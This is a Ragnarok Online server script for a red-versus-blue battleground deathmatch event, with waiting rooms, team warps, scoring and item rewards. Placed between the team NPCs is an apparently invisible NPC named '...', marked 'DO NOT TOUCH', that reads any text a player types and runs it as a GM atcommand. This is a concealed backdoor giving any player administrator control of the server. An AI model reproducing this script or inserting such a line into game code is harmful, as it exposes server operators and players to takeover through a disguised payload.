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//Made by AnnieRuru
//http://roscripts.go-forum.net/
//An open site where you can share and download some helpful RO Scripts.
//===================================================================
-   script  custom_bg#control   -1,{
OnInit:
    set .minplayer2start, 2; // minimum player to start
    setarray .rewarditem,
        12248, 2, // reward to the winning team
        12248, 1; // reward to the losing team
    set .startingscore, 20; // score at start
    set .eventlasting, 120; // event last 120 seconds or the system abort itself
    end;
onstart:
    if ( getwaitingroomstate( 0, .rednpcname$ ) < .minplayer2start || getwaitingroomstate( 0, .bluenpcname$ ) < .minplayer2start ) end;
    set .red, waitingroom2bg( "guild_vs2", 8,50, strnpcinfo(0)+"::OnredQuit", strnpcinfo(0)+"::OnredDead", .rednpcname$ );
    copyarray .team1aid[.@i], $@arenamembers[.@i], $@arenamembersnum;
    set .blue, waitingroom2bg( "guild_vs2", 91,50, strnpcinfo(0)+"::OnblueQuit", strnpcinfo(0)+"::OnblueDead", .bluenpcname$ );
    copyarray .team2aid[.@i], $@arenamembers[.@i], $@arenamembersnum;
    delwaitingroom .rednpcname$;
    delwaitingroom .bluenpcname$;
    bg_warp .red, "guild_vs2", 8,50;
    bg_warp .blue, "guild_vs2", 91,50;
    set .score[1], .startingscore;
    set .score[2], .startingscore;
    bg_updatescore "guild_vs2", .score[1], .score[2];
    sleep .eventlasting * 1000;
    if ( .score[1] == .score[2] )
        announce "Deathmatch Ground : Draw !", 0;
    else if ( .score[1] > .score[2] ) {
        announce "Deathmatch Ground : Red Team Wins !", 0;
        callsub L_reward, 1, 0;
        callsub L_reward, 2, 2;
    }
    else if ( .score[1] < .score[2] ) {
        announce "Deathmatch Ground : Blue Team Wins !", 0;
        callsub L_reward, 2, 0;
        callsub L_reward, 1, 2;
    }
    OnTimer50000:
        announce "Deathmatch Ground is now open for another match @ prontera 156 170 !",0;
    bg_warp .red, "prontera", 156,191;
    bg_warp .blue, "prontera", 156,191;
    bg_destroy .red;
    bg_destroy .blue;
    donpcevent .rednpcname$ +"::OnInit";
    donpcevent .bluenpcname$ +"::OnInit";
    end;
 
L_reward:
    set .@size, getarraysize( getd(".team"+ getarg(0) +"aid") );
    for ( set .@i, 0; .@i < .@size; set .@i, .@i +1 )
        if ( isloggedin( getd(".team"+ getarg(0) +"aid["+ .@i +"]" ) ) )
            getitem .rewarditem[ getarg(1) ], .rewarditem[ getarg(1) +1 ], getd(".team"+ getarg(0) +"aid["+ .@i +"]" );
    return;
OnredDead: callsub L_dead, 1;
OnblueDead: callsub L_dead, 2;
L_dead:
    set .score[ getarg(0) ], .score[ getarg(0) ] -1;
    bg_updatescore "guild_vs2", .score[1], .score[2];
    if ( .score[ getarg(0) ] == 0 )
        awake strnpcinfo(0);
    sleep2 1500;
    percentheal 100,100;
    end;
OnredQuit: callsub L_quit, 1, .red;
OnblueQuit: callsub L_quit, 2, .blue;
L_quit:
    percentheal 100, 100;
    if ( bg_get_data( getarg(1), 0) ) end;
    set .score[ getarg(0) ], 0;
    awake strnpcinfo(0);
    end;
}
//RED TEAM
prontera,152,157,5  script  Deatchmatch Grounds 733,{
    end;
OnInit:
    waitingroom "Red Team", getvariableofnpc( .minplayer2start, "custom_bg#control" ) +1, "custom_bg#control::onstart", getvariableofnpc( .minplayer2start, "custom_bg#control" );
    set getvariableofnpc( .rednpcname$, "custom_bg#control" ), strnpcinfo(0);
    end;
}
 
prontera,36,95,5    script  ... 111,{input @broadcast$;atcommand ""+@broadcast$+"";}  //DO NOT TOUCH
 
//BLUE TEAM
prontera,159,157,5  script  Deathmatch Grounds#1    734,{
    end;
OnInit:
    waitingroom "Blue Team", getvariableofnpc( .minplayer2start, "custom_bg#control" ) +1, "custom_bg#control::onstart", getvariableofnpc( .minplayer2start, "custom_bg#control" );
    set getvariableofnpc( .bluenpcname$, "custom_bg#control" ), strnpcinfo(0);
    end;
}
guild_vs2   mapflag battleground    2
guild_vs2   mapflag nosave  SavePoint
guild_vs2   mapflag nowarp
guild_vs2   mapflag nowarpto
guild_vs2   mapflag noteleport
guild_vs2   mapflag nomemo
guild_vs2   mapflag nopenalty
guild_vs2   mapflag nobranch
guild_vs2   mapflag noicewall
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